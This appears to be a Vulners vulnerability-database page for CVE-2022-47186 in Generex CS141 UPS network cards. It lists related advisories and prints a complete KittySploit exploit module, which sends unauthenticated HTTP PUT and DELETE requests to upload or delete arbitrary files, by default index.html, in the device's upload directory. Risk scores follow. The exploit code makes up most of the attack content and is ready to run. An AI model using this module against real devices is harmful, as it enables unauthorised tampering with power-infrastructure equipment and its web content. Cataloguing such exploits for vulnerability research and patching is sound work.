Generex CS141 CVE-2022-47186 - Unrestricted File Upload/Delete
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2022-47186 | 6 Mar 202318:07 | – | circl | |
| Generex CS141 Code Issue Vulnerability | 28 Sep 202300:00 | – | cnnvd | |
| CVE-2022-47186 | 28 Sep 202313:26 | – | cve | |
| CVE-2022-47186 Unrestricted Upload of File vulnerability in Generex CS141 | 28 Sep 202313:26 | – | cvelist | |
| EUVD-2022-49961 | 3 Oct 202520:07 | – | euvd | |
| Thunderstorm - Modular Framework To Exploit UPS Devices | 6 Mar 202311:30 | – | kitploit | |
| Thunderstorm | 15 Oct 202617:59 | – | kitploit | |
| CVE-2022-47186 | 28 Sep 202314:15 | – | nvd | |
| CVE-2022-47186 | 28 Sep 202314:15 | – | osv_cve | |
| Unrestricted file upload | 28 Sep 202314:15 | – | prion |
10
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141
class Module(Auxiliary, Http_client, CS141):
__info__ = {
"name": "Generex CS141 CVE-2022-47186 - Unrestricted File Upload/Delete",
"description": (
"Generex UPS CS141 below 2.06 allows unauthenticated upload and deletion of arbitrary "
"files inside the upload directory."
),
"author": ["JoelGMSec", "KittySploit Team"],
"cve": "CVE-2022-47186",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-47186",
"https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
],
"tags": ["cs141", "upload", "delete", "unauthenticated"],
}
action = OptChoice("upload", "Action to perform", required=True, choices=["upload", "delete"])
remote_name = OptString("index.html", "Filename inside the upload directory", required=True)
file_content = OptString("KittySploit", "Content to upload when action=upload", required=False)
content_type = OptString("text/html", "Content-Type for uploaded file", required=False)
def check(self):
return {
"vulnerable": True,
"reason": "CVE-2022-47186 is action-based; use run() to verify upload/delete behavior.",
"confidence": "low",
}
def run(self):
upload_path = self.cs141_join_path(self.cs141_normalize_base_path(self.path), "upload", self.remote_name)
if self.action == "upload":
response = self.http_request(
method="PUT",
path=upload_path,
headers=self.cs141_unauth_upload_headers(self.content_type),
data=self.file_content,
timeout=20,
)
if response and response.status_code in (201, 204):
print_success(f"File uploaded to {upload_path} (HTTP {response.status_code})")
return True
print_error(f"Upload failed with HTTP {getattr(response, 'status_code', 'no-response')}")
return False
response = self.http_request(
method="DELETE",
path=upload_path,
headers=self.cs141_unauth_upload_headers(self.content_type),
timeout=20,
)
if response and response.status_code in (204, 404):
print_success(f"Delete request completed for {upload_path} (HTTP {response.status_code})")
return True
print_error(f"Delete failed with HTTP {getattr(response, 'status_code', 'no-response')}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Apr 2026 09:19Current
8.5High risk
Vulners AI Score8.5
CVSS 3.17.5 - 9.1
EPSS0.00634
SSVC